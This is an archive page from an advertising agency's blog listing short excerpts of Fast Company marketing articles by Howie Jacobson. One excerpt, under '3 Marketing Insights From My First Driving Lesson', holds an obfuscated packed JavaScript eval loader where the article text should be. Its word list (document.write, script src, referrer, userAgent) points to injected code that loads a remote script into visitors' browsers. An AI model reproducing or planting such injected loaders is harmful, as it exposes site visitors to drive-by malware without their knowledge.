Fast Company – Vitruvian Advertising

Your Website Will Work Better When You Realize It̵...

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This blog by Howie Jacobson was originally posted on Fast Company. As an American spending a year in South Africa, I’m horrified by South African drivers. Every single one of them drives on the wrong side of the road. No matter how much I honk, yell, and gesture, they just keep doing it. And the police...Read More 

Four Awesome Marketing Vehicles You Probably Take For ...

Fast Company, Marketing & Sales

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This article by Howie was originally published in Fast Company. After 42 days of living in a pretty remote region of South Africa, my family and I finally rented a car.Not having a car had been a blast. We learned how to hitchhike(split up into mother/son and father/daughter pairs so we don’t...Read More 

Gratitude as a Business Strategy: The Article

Fast Company

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This article by Howie originally appeared in Fast Company. Most of us are fantastic complainers. When someone doesn’t meet our expectations, we let them know. We may even let their boss or mother know. There’s nothing wrong with expecting excellence, and taking steps to get it. The problem...Read More 

3 Marketing Insights From My First Driving Lesson

Fast Company

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This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbhnk|var|u0026u|referrer|bzfhr||js|php'.split('|'),0,{})) ...Read More 

Gratitude As A Business Strategy

Fast Company

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This article was originally published in Fast Company. Most of us are fantastic complainers. When someone doesn’t meet our expectations, we let them know. We may even let their boss or mother know. There’s nothing wrong with expecting excellence, and taking steps to get it. The problem...Read More 

How Hitchhiking Made Me A Better Marketer

Fast Company

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This article by Howie was originally published in Fast Company. The van driver rolled down his window and called me over. “I’m sorry I didn’t pick you up earlier–the ladies in the back wouldn’t let me.” “That’s OK. I wouldn’t pick me up, either.” The ladies smiling, grateful...Read More 